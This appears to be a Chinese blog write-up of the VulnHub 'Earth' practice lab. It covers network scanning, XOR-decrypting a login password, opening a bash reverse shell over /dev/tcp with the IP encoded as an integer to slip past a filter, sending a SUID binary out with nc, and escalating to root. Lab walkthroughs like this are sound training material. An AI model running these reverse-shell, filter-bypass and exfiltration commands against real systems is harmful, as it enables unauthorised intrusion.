vlunhub笔记(二)earth

(一)信息收集

开始扫描目标机ip,目标机ip:192.168.241.135

arp-scan -l

 直接访问目标  ip 192.168.241.135   发现400报错

只能先去考虑扫一下信息,先nmap一下,发现两个DNS域名我们尝试写入/etc/hosts文件

nmap -A -T4 192.168.241.125  (-A 进行操作系统检测和版本检测 -T4 为快速扫描模式)

开始写入 vi /etc/hosts

按 “i”进入编辑模式

输入 目标机 ip+目标域名

按”esc“退出编辑模式

按shift+:并输入wq进行保存退出

直接输入域名就可以访问

 我们分别扫一下这两个域名 earth.local 和 terratest.earth.local,发现两个有用的目录 admin 和 robots.txt

 

 (二)开始渗透

访问earth.local/admin/login发现是个登录页面,那我们就要开始找用户密码了。

 先访问下另一个敏感目录 https://terratest.earth.local/robots,发现一个特殊目录、testingnotes.*。

 访问一下这个特殊目录,经过多次尝试发现后缀是.txt,成功访问该目录。得到一段英文提示。

 英语水平有限,翻译一下去。获得三个有效信息,用户名terra(应该是那个登录页面要用),敏感目录:testdata.txt,还有一个异或加密的提示。

 我们先访问一下testdata.txt。这个翻译完之后没什么有效信息,我们联想到前面给出的异或提示,这应该是其中一组。(异或运算需要两组数据)

 我又联想到前面earth.local界面下给的一串数字,猜想一下有没有可能和上面那组数据进行异或。

 这块解密有点麻烦

1.textdata.txt里面所给的数据为密钥(需要转变为utf8编码)

2.earth.local下面所给的数据只有第三个可以成功解密(这一串数字需要16进制转utf8编码)

3.再将两组数据进行异或运算

4.成功得到一组循环的密码 earthclimatechangebad4humans(这应该是登陆页面的密码)

(三)漏洞利用

现在开始尝试登录一开始发现的登陆页面。

用户名:terra

密码:earthclimatechangebad4humans

我们直接尝试bash反弹

bash -c "bash -i >& /dev/tcp/主机ip/1234 0>&1"

发现没有反应,有可能被过滤了,我们尝试编码绕过。

先尝试对ip进行编码

ip转int        (在线网站:http://www.esjson.com/iptoint.html)

bash -c "bash -i >& /dev/tcp/3232297345/1234 0>&1"
kali本地进行监听 可以直接反弹成功

 (四)用户提权

查看一下靶机中有权限的文件,发现一个重置密码的文件

find / -perm -u=s -type f 2>/dev/null

利用ltrace调试文件

将文件传回攻击机进行查看

攻击机开启监听,把接收到的文件命名为跟靶机文件相同的文件名

nc -lvnp 1234 > reset_root

靶机将文件传回来

nc 本机ip 1234 < /usr/bin/reset_root

 本地成功接受到文件

对文件进行授权

chmod 777 reset_root

 发现缺少三个文件

 在靶机中创建这三个文件

1.touch /dev/shm/kHgTFI5G

2.touch /dev/shm/Zw7bV9U5

3.touch /tmp/kcM0Wewe

创建成功后重新访问reser_root文件,发现密码为Earth

/usr/bin/reset_root

su 提权

su

密码:Earth

访问到root目录,成功找到flag。

cd /root

cat root_flag.txt

(五)靶场总结

1.异或解密得到的密钥与文本需要utf8编码

2.ltrace工具 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数

 

posted @ 2023-07-31 15:58  我的小脑袋瓜真聪明  阅读(42)  评论(0编辑  收藏  举报